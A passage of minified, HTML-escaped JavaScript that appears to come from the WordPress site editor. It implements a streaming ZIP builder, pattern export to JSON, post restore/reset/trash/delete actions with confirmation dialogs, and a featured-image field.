new TypeError(&quot;Unsupported input format.&quot;)}function Po(e,t=e){return new ReadableStream({async pull(t){let s=0;for(;t.desiredSize&gt;s;){const n=await e.next();if(!n.value){t.close();break}{const e=jo(n.value);t.enqueue(e),s+=e.byteLength}}},cancel(e){t.throw?.(e)}})}function jo(e){return&quot;string&quot;==typeof e?wo(e):e instanceof Uint8Array?e:vo(e)}function Eo(e,t,s){let[n,o]=function(e){return e?e instanceof Uint8Array?[e,1]:ArrayBuffer.isView(e)||e instanceof ArrayBuffer?[vo(e),1]:[wo(e),0]:[void 0,0]}(t);if(e instanceof File)return{i:Io(n||wo(e.name)),o:BigInt(e.size),u:o};if(e instanceof Response){const t=e.headers.get(&quot;content-disposition&quot;),r=t&amp;&amp;t.match(/;\s*filename\*?\s*=\s*(?:UTF-\d+&#039;&#039;|)[&quot;&#039;]?([^;&quot;&#039;\r\n]*)[&quot;&#039;]?(?:;|$)/i),i=r&amp;&amp;r[1]||e.url&amp;&amp;new URL(e.url).pathname.split(&quot;/&quot;).findLast(Boolean),a=i&amp;&amp;decodeURIComponent(i),l=s||+e.headers.get(&quot;content-length&quot;);return{i:Io(n||wo(a)),o:BigInt(l),u:o}}return n=Io(n,void 0!==e||void 0!==s),&quot;string&quot;==typeof e?{i:n,o:BigInt(wo(e).length),u:o}:e instanceof Blob?{i:n,o:BigInt(e.size),u:o}:e instanceof ArrayBuffer||ArrayBuffer.isView(e)?{i:n,o:BigInt(e.byteLength),u:o}:{i:n,o:To(e,s),u:o}}function To(e,t){return t&gt;-1?BigInt(t):e?void 0:0n}function Io(e,t=1){if(!e||e.every((e=&gt;47===e)))throw new Error(&quot;The file must have a name.&quot;);if(t)for(;47===e[e.length-1];)e=e.subarray(0,-1);else 47!==e[e.length-1]&amp;&amp;(e=new Uint8Array([...e,47]));return e}var Bo=new Uint32Array(256);for(let e=0;e&lt;256;++e){let t=e;for(let e=0;e&lt;8;++e)t=t&gt;&gt;&gt;1^(1&amp;t&amp;&amp;3988292384);Bo[e]=t}function No(e,t=0){t=~t;for(var s=0,n=e.length;s&lt;n;s++)t=t&gt;&gt;&gt;8^Bo[255&amp;t^e[s]];return~t&gt;&gt;&gt;0}function Ro(e,t,s=0){const n=e.getSeconds()&gt;&gt;1|e.getMinutes()&lt;&lt;5|e.getHours()&lt;&lt;11,o=e.getDate()|e.getMonth()+1&lt;&lt;5|e.getFullYear()-1980&lt;&lt;9;t.setUint16(s,n,1),t.setUint16(s+2,o,1)}function Do({i:e,u:t},s){return 8*(!t||(s??function(e){try{Ao.decode(e)}catch{return 0}return 1}(e)))}var Ao=new TextDecoder(&quot;utf8&quot;,{fatal:1});function Mo(e,t=0){const s=xo(30);return s.setUint32(0,1347093252),s.setUint32(4,754976768|t),Ro(e.t,s,10),s.setUint16(26,e.i.length,1),vo(s)}async function*Lo(e){let{bytes:t}=e;if(&quot;then&quot;in t&amp;&amp;(t=await t),t instanceof Uint8Array)yield t,e.l=No(t,0),e.o=BigInt(t.length);else{e.o=0n;const s=t.getReader();for(;;){const{value:t,done:n}=await s.read();if(n)break;e.l=No(t,e.l),e.o+=BigInt(t.length),yield t}}}function Oo(e,t){const s=xo(16+(t?8:0));return s.setUint32(0,1347094280),s.setUint32(4,e.isFile?e.l:0,1),t?(s.setBigUint64(8,e.o,1),s.setBigUint64(16,e.o,1)):(s.setUint32(8,So(e.o),1),s.setUint32(12,So(e.o),1)),vo(s)}function Fo(e,t,s=0,n=0){const o=xo(46);return o.setUint32(0,1347092738),o.setUint32(4,755182848),o.setUint16(8,2048|s),Ro(e.t,o,12),o.setUint32(16,e.isFile?e.l:0,1),o.setUint32(20,So(e.o),1),o.setUint32(24,So(e.o),1),o.setUint16(28,e.i.length,1),o.setUint16(30,n,1),o.setUint16(40,e.mode|(e.isFile?32768:16384),1),o.setUint32(42,So(t),1),vo(o)}function Vo(e,t,s){const n=xo(s);return n.setUint16(0,1,1),n.setUint16(2,s-4,1),16&amp;s&amp;&amp;(n.setBigUint64(4,e.o,1),n.setBigUint64(12,e.o,1)),n.setBigUint64(s-8,t,1),vo(n)}function Uo(e){return e instanceof File||e instanceof Response?[[e],[e]]:[[e.input,e.name,e.size],[e.input,e.lastModified,e.mode]]}function Ho(e,t={}){const s={&quot;Content-Type&quot;:&quot;application/zip&quot;,&quot;Content-Disposition&quot;:&quot;attachment&quot;};return(&quot;bigint&quot;==typeof t.length||Number.isInteger(t.length))&amp;&amp;t.length&gt;0&amp;&amp;(s[&quot;Content-Length&quot;]=String(t.length)),t.metadata&amp;&amp;(s[&quot;Content-Length&quot;]=String((e=&gt;function(e){let t=BigInt(22),s=0n,n=0;for(const o of e){if(!o.i)throw new Error(&quot;Every file must have a non-empty name.&quot;);if(void 0===o.o)throw new Error(`Missing size for file &quot;${(new TextDecoder).decode(o.i)}&quot;.`);const e=o.o&gt;=0xffffffffn,r=s&gt;=0xffffffffn;s+=BigInt(46+o.i.length+(e&amp;&amp;8))+o.o,t+=BigInt(o.i.length+46+(12*r|28*e)),n||(n=e)}return(n||s&gt;=0xffffffffn)&amp;&amp;(t+=BigInt(76)),t+s}(function*(e){for(const t of e)yield Eo(...Uo(t)[0])}(e)))(t.metadata))),new Response(zo(e,t),{headers:s})}function zo(e,t={}){const s=function(e){const t=e[Symbol.iterator in e?Symbol.iterator:Symbol.asyncIterator]();return{async next(){const e=await t.next();if(e.done)return e;const[s,n]=Uo(e.value);return{done:0,value:Object.assign(Co(...n),Eo(...s))}},throw:t.throw?.bind(t),[Symbol.asyncIterator](){return this}}}(e);return Po(async function*(e,t){const s=[];let n=0n,o=0n,r=0;for await(const i of e){const e=Do(i,t.buffersAreUTF8);yield Mo(i,e),yield new Uint8Array(i.i),i.isFile&amp;&amp;(yield*Lo(i));const a=i.o&gt;=0xffffffffn,l=12*(n&gt;=0xffffffffn)|28*a;yield Oo(i,a),s.push(Fo(i,n,e,l)),s.push(i.i),l&amp;&amp;s.push(Vo(i,n,l)),a&amp;&amp;(n+=8n),o++,n+=BigInt(46+i.i.length)+i.o,r||(r=a)}let i=0n;for(const e of s)yield e,i+=BigInt(e.length);if(r||n&gt;=0xffffffffn){const e=xo(76);e.setUint32(0,1347094022),e.setBigUint64(4,BigInt(44),1),e.setUint32(12,755182848),e.setBigUint64(24,o,1),e.setBigUint64(32,o,1),e.setBigUint64(40,i,1),e.setBigUint64(48,n,1),e.setUint32(56,1347094023),e.setBigUint64(64,n+i,1),e.setUint32(72,1,1),yield vo(e)}const a=xo(22);a.setUint32(0,1347093766),a.setUint16(8,ko(o),1),a.setUint16(10,ko(o),1),a.setUint32(12,So(i),1),a.setUint32(16,So(n),1),yield vo(a)}(s,t),s)}const Go=window.wp.blob;var $o=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z&quot;})});function Wo(e){return JSON.stringify({__file:e.type,title:no(e),content:&quot;string&quot;==typeof e.content?e.content:e.content?.raw,syncStatus:e.wp_pattern_sync_status},null,2)}var Zo={id:&quot;export-pattern&quot;,label:(0,fs.__)(&quot;Export as JSON&quot;),icon:$o,supportsBulk:!0,isEligible:e=&gt;&quot;wp_block&quot;===e.type,callback:async e=&gt;{if(1===e.length)return(0,Go.downloadBlob)(`${Kn(no(e[0])||e[0].slug)}.json`,Wo(e[0]),&quot;application/json&quot;);const t={},s=e.map((e=&gt;{const s=Kn(no(e)||e.slug);return t[s]=(t[s]||0)+1,{name:s+(t[s]&gt;1?&quot;-&quot;+(t[s]-1):&quot;&quot;)+&quot;.json&quot;,lastModified:new Date,input:Wo(e)}}));return(0,Go.downloadBlob)((0,fs.__)(&quot;patterns-export&quot;)+&quot;.zip&quot;,await Ho(s).blob(),&quot;application/zip&quot;)}},Yo=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z&quot;})});var qo={id:&quot;restore&quot;,label:(0,fs.__)(&quot;Restore&quot;),isPrimary:!0,icon:Yo,supportsBulk:!0,isEligible:e=&gt;!so(e)&amp;&amp;&quot;wp_block&quot;!==e.type&amp;&amp;&quot;trash&quot;===e.status&amp;&amp;e.permissions?.update,async callback(e,{registry:t,onActionPerformed:s}){const{createSuccessNotice:n,createErrorNotice:o}=t.dispatch(_s.store),{editEntityRecord:r,saveEditedEntityRecord:i}=t.dispatch(u.store);await Promise.allSettled(e.map((e=&gt;r(&quot;postType&quot;,e.type,e.id,{status:&quot;draft&quot;}))));const a=await Promise.allSettled(e.map((e=&gt;i(&quot;postType&quot;,e.type,e.id,{throwOnError:!0}))));if(a.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){let t;t=1===e.length?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; has been restored.&#039;),no(e[0])):&quot;page&quot;===e[0].type?(0,fs.sprintf)((0,fs.__)(&quot;%d pages have been restored.&quot;),e.length):(0,fs.sprintf)((0,fs.__)(&quot;%d posts have been restored.&quot;),e.length),n(t,{type:&quot;snackbar&quot;,id:&quot;restore-post-action&quot;}),s&amp;&amp;s(e)}else{let e;if(1===a.length){const t=a[0];e=t.reason?.message?t.reason.message:(0,fs.__)(&quot;An error occurred while restoring the post.&quot;)}else{const t=new Set,s=a.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of s){const s=e;s.reason?.message&amp;&amp;t.add(s.reason.message)}e=0===t.size?(0,fs.__)(&quot;An error occurred while restoring the posts.&quot;):1===t.size?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while restoring the posts: %s&quot;),[...t][0]):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while restoring the posts: %s&quot;),[...t].join(&quot;,&quot;))}o(e,{type:&quot;snackbar&quot;})}}};const Ko=async(e,{allowUndo:t=!0}={})=&gt;{const s=&quot;edit-site-template-reverted&quot;;var n;if((0,d.dispatch)(_s.store).removeNotice(s),(n=e)&amp;&amp;&quot;custom&quot;===n.source&amp;&amp;(Boolean(n?.plugin)||n?.has_theme_file))try{const n=(0,d.select)(u.store).getEntityConfig(&quot;postType&quot;,e.type);if(!n)return void(0,d.dispatch)(_s.store).createErrorNotice((0,fs.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});const o=(0,w.addQueryArgs)(`${n.baseURL}/${e.id}`,{context:&quot;edit&quot;,source:e.origin}),r=await gs()({path:o});if(!r)return void(0,d.dispatch)(_s.store).createErrorNotice((0,fs.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});const i=({blocks:e=[]})=&gt;(0,x.__unstableSerializeAndClean)(e),a=(0,d.select)(u.store).getEditedEntityRecord(&quot;postType&quot;,e.type,e.id);(0,d.dispatch)(u.store).editEntityRecord(&quot;postType&quot;,e.type,e.id,{content:i,blocks:a.blocks,source:&quot;custom&quot;},{undoIgnore:!0});const l=(0,x.parse)(r?.content?.raw);if((0,d.dispatch)(u.store).editEntityRecord(&quot;postType&quot;,e.type,r.id,{content:i,blocks:l,source:&quot;theme&quot;}),t){const t=()=&gt;{(0,d.dispatch)(u.store).editEntityRecord(&quot;postType&quot;,e.type,a.id,{content:i,blocks:a.blocks,source:&quot;custom&quot;})};(0,d.dispatch)(_s.store).createSuccessNotice((0,fs.__)(&quot;Template reset.&quot;),{type:&quot;snackbar&quot;,id:s,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:t}]})}}catch(e){const t=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;Template revert failed. Please reload.&quot;);(0,d.dispatch)(_s.store).createErrorNotice(t,{type:&quot;snackbar&quot;})}else(0,d.dispatch)(_s.store).createErrorNotice((0,fs.__)(&quot;This template is not revertable.&quot;),{type:&quot;snackbar&quot;})},Qo={id:&quot;reset-post&quot;,label:(0,fs.__)(&quot;Reset&quot;),isEligible:e=&gt;so(e)&amp;&amp;&quot;custom&quot;===e?.source&amp;&amp;(Boolean(&quot;wp_template&quot;===e.type&amp;&amp;e?.plugin)||e?.has_theme_file),icon:Yo,supportsBulk:!0,hideModalHeader:!0,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[n,o]=(0,p.useState)(!1),{saveEditedEntityRecord:r}=(0,d.useDispatch)(u.store),{createSuccessNotice:i,createErrorNotice:a}=(0,d.useDispatch)(_s.store);return(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,c.jsx)(Hn.__experimentalText,{children:(0,fs.__)(&quot;Reset to default and clear all customizations?&quot;)}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,disabled:n,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:async()=&gt;{o(!0),await(async()=&gt;{try{for(const t of e)await Ko(t,{allowUndo:!1}),await r(&quot;postType&quot;,t.type,t.id);i(e.length&gt;1?(0,fs.sprintf)((0,fs.__)(&quot;%d items reset.&quot;),e.length):(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; reset.&#039;),no(e[0])),{type:&quot;snackbar&quot;,id:&quot;revert-template-action&quot;})}catch(t){let s;s=&quot;wp_template&quot;===e[0].type?1===e.length?(0,fs.__)(&quot;An error occurred while reverting the template.&quot;):(0,fs.__)(&quot;An error occurred while reverting the templates.&quot;):1===e.length?(0,fs.__)(&quot;An error occurred while reverting the template part.&quot;):(0,fs.__)(&quot;An error occurred while reverting the template parts.&quot;);const n=t,o=n.message&amp;&amp;&quot;unknown_error&quot;!==n.code?n.message:s;a(o,{type:&quot;snackbar&quot;})}})(),s?.(e),o(!1),t?.()},isBusy:n,disabled:n,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Reset&quot;)})]})]})}};var Xo=Qo,Jo=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z&quot;})});function er(e){const t=new Set;if(1===e.length){const s=e[0];s.reason?.message&amp;&amp;t.add(s.reason.message)}else{const s=e.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of s){const s=e;s.reason?.message&amp;&amp;t.add(s.reason.message)}}return t}const{PATTERN_TYPES:tr}=co(ao.privateApis),sr={id:&quot;delete-post&quot;,label:(0,fs.__)(&quot;Delete&quot;),isPrimary:!0,icon:Jo,isEligible:e=&gt;so(e)?oo(e):e.type===tr.user,supportsBulk:!0,hideModalHeader:!0,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[n,o]=(0,p.useState)(!1),r=e.every((e=&gt;so(e)&amp;&amp;e?.has_theme_file));return(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,c.jsx)(Hn.__experimentalText,{children:e.length&gt;1?(0,fs.sprintf)((0,fs._n)(&quot;Delete %d item?&quot;,&quot;Delete %d items?&quot;,e.length),e.length):(0,fs.sprintf)((0,fs._x)(&#039;Delete &quot;%s&quot;?&#039;,&quot;template part&quot;),no(e[0]))}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{variant:&quot;tertiary&quot;,onClick:t,disabled:n,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{variant:&quot;primary&quot;,onClick:async()=&gt;{o(!0);const n={success:{messages:{getMessage:e=&gt;r?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; reset.&#039;),(0,Ln.decodeEntities)(no(e))):(0,fs.sprintf)((0,fs._x)(&#039;&quot;%s&quot; deleted.&#039;,&quot;template part&quot;),(0,Ln.decodeEntities)(no(e))),getBatchMessage:()=&gt;r?(0,fs.__)(&quot;Items reset.&quot;):(0,fs.__)(&quot;Items deleted.&quot;)}},error:{messages:{getMessage:e=&gt;1===e.size?[...e][0]:r?(0,fs.__)(&quot;An error occurred while reverting the item.&quot;):(0,fs.__)(&quot;An error occurred while deleting the item.&quot;),getBatchMessage:e=&gt;0===e.size?r?(0,fs.__)(&quot;An error occurred while reverting the items.&quot;):(0,fs.__)(&quot;An error occurred while deleting the items.&quot;):1===e.size?r?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while reverting the items: %s&quot;),[...e][0]):(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while deleting the items: %s&quot;),[...e][0]):r?(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while reverting the items: %s&quot;),[...e].join(&quot;,&quot;)):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while deleting the items: %s&quot;),[...e].join(&quot;,&quot;))}}};await(async(e,t,s)=&gt;{const{createSuccessNotice:n,createErrorNotice:o}=(0,d.dispatch)(_s.store),{deleteEntityRecord:r}=(0,d.dispatch)(u.store),i=await Promise.allSettled(e.map((e=&gt;r(&quot;postType&quot;,e.type,e.id,{force:!0},{throwOnError:!0}))));if(i.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){let o;o=1===i.length?t.success.messages.getMessage(e[0]):t.success.messages.getBatchMessage(e),n(o,{type:t.success.type??&quot;snackbar&quot;,id:t.success.id}),s.onActionPerformed?.(e)}else{const e=er(i);let n=&quot;&quot;;n=1===i.length?t.error.messages.getMessage(e):t.error.messages.getBatchMessage(e),o(n,{type:t.error.type??&quot;snackbar&quot;,id:t.error.id}),s.onActionError?.()}})(e,n,{onActionPerformed:s}),o(!1),t?.()},isBusy:n,disabled:n,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)(&quot;Delete&quot;)})]})]})}};var nr=sr;const or={id:&quot;move-to-trash&quot;,label:(0,fs.__)(&quot;Trash&quot;),isPrimary:!0,icon:Jo,isEligible:e=&gt;!so(e)&amp;&amp;&quot;wp_block&quot;!==e.type&amp;&amp;(!!e.status&amp;&amp;![&quot;auto-draft&quot;,&quot;trash&quot;].includes(e.status)&amp;&amp;e.permissions?.delete),supportsBulk:!0,hideModalHeader:!0,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[n,o]=(0,p.useState)(!1),{createSuccessNotice:r,createErrorNotice:i}=(0,d.useDispatch)(_s.store),{deleteEntityRecord:a}=(0,d.useDispatch)(u.store);return(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,c.jsx)(Hn.__experimentalText,{children:1===e.length?(0,fs.sprintf)((0,fs.__)(&#039;Are you sure you want to move &quot;%s&quot; to the trash?&#039;),no(e[0])):(0,fs.sprintf)((0,fs._n)(&quot;Are you sure you want to move %d item to the trash ?&quot;,&quot;Are you sure you want to move %d items to the trash ?&quot;,e.length),e.length)}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,disabled:n,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:async()=&gt;{o(!0);const n=await Promise.allSettled(e.map((e=&gt;a(&quot;postType&quot;,e.type,e.id.toString(),{},{throwOnError:!0}))));if(n.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){let t;t=1===n.length?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; moved to the trash.&#039;),no(e[0])):(0,fs.sprintf)((0,fs._n)(&quot;%d item moved to the trash.&quot;,&quot;%d items moved to the trash.&quot;,e.length),e.length),r(t,{type:&quot;snackbar&quot;,id:&quot;move-to-trash-action&quot;})}else{let e;if(1===n.length){const t=n[0];e=t.reason?.message?t.reason.message:(0,fs.__)(&quot;An error occurred while moving the item to the trash.&quot;)}else{const t=new Set,s=n.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of s){const s=e;s.reason?.message&amp;&amp;t.add(s.reason.message)}e=0===t.size?(0,fs.__)(&quot;An error occurred while moving the items to the trash.&quot;):1===t.size?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while moving the item to the trash: %s&quot;),[...t][0]):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while moving the items to the trash: %s&quot;),[...t].join(&quot;,&quot;))}i(e,{type:&quot;snackbar&quot;})}s&amp;&amp;s(e),o(!1),t?.()},isBusy:n,disabled:n,accessibleWhenDisabled:!0,children:(0,fs._x)(&quot;Trash&quot;,&quot;verb&quot;)})]})]})}};var rr=or;const ir={id:&quot;permanently-delete&quot;,label:(0,fs.__)(&quot;Permanently delete&quot;),supportsBulk:!0,icon:Jo,isEligible(e){if(so(e)||&quot;wp_block&quot;===e.type)return!1;const{status:t,permissions:s}=e;return&quot;trash&quot;===t&amp;&amp;s?.delete},hideModalHeader:!0,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[n,o]=(0,p.useState)(!1),{createSuccessNotice:r,createErrorNotice:i}=(0,d.useDispatch)(_s.store),{deleteEntityRecord:a}=(0,d.useDispatch)(u.store);return(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,c.jsx)(Hn.__experimentalText,{children:e.length&gt;1?(0,fs.sprintf)((0,fs._n)(&quot;Are you sure you want to permanently delete %d item?&quot;,&quot;Are you sure you want to permanently delete %d items?&quot;,e.length),e.length):(0,fs.sprintf)((0,fs.__)(&#039;Are you sure you want to permanently delete &quot;%s&quot;?&#039;),(0,Ln.decodeEntities)(no(e[0])))}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{variant:&quot;tertiary&quot;,onClick:t,disabled:n,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{variant:&quot;primary&quot;,onClick:async()=&gt;{o(!0);const n=await Promise.allSettled(e.map((e=&gt;a(&quot;postType&quot;,e.type,e.id,{force:!0},{throwOnError:!0}))));if(n.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){let t;t=1===n.length?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; permanently deleted.&#039;),no(e[0])):(0,fs.__)(&quot;The items were permanently deleted.&quot;),r(t,{type:&quot;snackbar&quot;,id:&quot;permanently-delete-post-action&quot;}),s?.(e)}else{let e;if(1===n.length){const t=n[0];e=t.reason?.message?t.reason.message:(0,fs.__)(&quot;An error occurred while permanently deleting the item.&quot;)}else{const t=new Set,s=n.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of s){const s=e;s.reason?.message&amp;&amp;t.add(s.reason.message)}e=0===t.size?(0,fs.__)(&quot;An error occurred while permanently deleting the items.&quot;):1===t.size?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while permanently deleting the items: %s&quot;),[...t][0]):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while permanently deleting the items: %s&quot;),[...t].join(&quot;,&quot;))}i(e,{type:&quot;snackbar&quot;})}o(!1),t?.()},isBusy:n,disabled:n,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)(&quot;Delete permanently&quot;)})]})]})}};var ar=ir;const lr=window.wp.mediaUtils;var cr=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M5 11.25h14v1.5H5z&quot;})});const dr={id:&quot;featured_media&quot;,type:&quot;media&quot;,label:(0,fs.__)(&quot;Featured Image&quot;),Edit:({data:e,field:t,onChange:s})=&gt;{const{id:n}=t,o=t.getValue({item:e}),r=(0,d.useSelect)((e=&gt;{const{getEntityRecord:t}=e(u.store);return t(&quot;postType&quot;,&quot;attachment&quot;,o)}),[o]),i=(0,p.useCallback)((e=&gt;s({[n]:e})),[n,s]),a=r?.source_url,l=r?.title?.rendered,m=(0,p.useRef)(null);return(0,c.jsx)(&quot;fieldset&quot;,{className:&quot;fields-controls__featured-image&quot;,children:(0,c.jsx)(&quot;div&quot;,{className:&quot;fields-controls__featured-image-container&quot;,children:(0,c.jsx)(lr.MediaUpload,{onSelect:e=&gt;{i(e.id)},allowedTypes:[&quot;image&quot;],render:({open:e})=&gt;(0,c.jsx)(&quot;div&quot;,{ref:m,role:&quot;button&quot;,tabIndex:-1,onClick:()=&gt;{e()},onKeyDown:e,children:(0,c.jsxs)(Hn.__experimentalGrid,{rowGap:0,columnGap:8,templateColumns:&quot;24px 1fr 24px&quot;,children:[a&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;img&quot;,{className:&quot;fields-controls__featured-image-image&quot;,alt:&quot;&quot;,width:24,height:24,src:a}),(0,c.jsx)(&quot;span&quot;,{className:&quot;fields-controls__featured-image-title&quot;,children:l})]}),!a&amp;&amp;(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;fields-controls__featured-image-placeholder&quot;,style:{width:&quot;24px&quot;,height:&quot;24px&quot;}}),(0,c.jsx)(&quot;span&quot;,{className:&quot;fields-controls__featured-image-title&quot;,children:(0,fs.__)(&quot;Choose an image…&quot;)})]}),a&amp;&amp;(0,c.jsx)(c.Fragment,{children:(0,c.jsx)(Hn.Button,{size:&quot;small&quot;,className:&quot;fields-controls__featured-image-remove-button&quot;,icon:cr,onClick:e=&gt;{e.stopPropagation(),i(0)}})})]})})})})})},render:({item:e,config:t})=&gt;{const s=e?._embedded?.[&quot;wp:featuredmedia&quot;]?.[0],n=s?.source_url;return n?(0,c.jsx)(&quot;img&quot;,{className:&quot;fields-controls__featured-image-image&quot;,src:n,alt:&quot;&quot;,srcSet:s?.media_details?.sizes?Object.values(s.media_details.sizes).map((e=&gt;`${e.source_url} ${e.width}w`)).join(&quot;, &quot;):void 0,sizes:t?.sizes||&quot;100vw&quot;}):(0,c.jsx)(&quot;span&quot;,{className:&quot;fields-controls__featured-image-placeholder&quot;})},enableSorting:!1,filterBy:!1};var ur=dr;function pr(e){var t,s,n=&quot;&quot;;if(&quot;string&quot;==typeof e||&quot;number&quot;==typeof e)n+=e;else if(&quot;object&quot;==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t&lt;o;t++)e[t]&amp;&amp;(s=pr(e[t]))&amp;&amp;(n&amp;&amp;(n+=&quot; &quot;),n+=s)}else for(s in e)e[s]&amp;&amp;(n&amp;&amp;(n+=&quot; &quot;),n+=s);return n}const mr=function(){for(var e,t,s=0,n=&quot;&quot;,o=arguments.length;s&lt;o;s++)(e=arguments[s])&amp;&amp;(t=pr(e))&amp;&amp;(n&amp;&amp;(n+=&quot; &quot;),n+=t);return n};var hr=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,d:&quot;M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z&quot;,clipRule:&quot;evenodd&quot;})});var gr=function({item:e}){const t=e?._embedded?.author?.[0]?.name,s=e?._embedded?.author?.[0]?.avatar_urls?.[48],[n,o]=(0,p.useState)(!1);return(0,c.jsxs)(Hn.__experimentalHStack,{alignment:&quot;left&quot;,spacing:0,children:[!!s&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:mr(&quot;page-templates-author-field__avatar&quot;,{&quot;is-loaded&quot;:n}),children:(0,c.jsx)(&quot;img&quot;,{onLoad:()=&gt;o(!0),alt:(0,fs.__)(&quot;Author 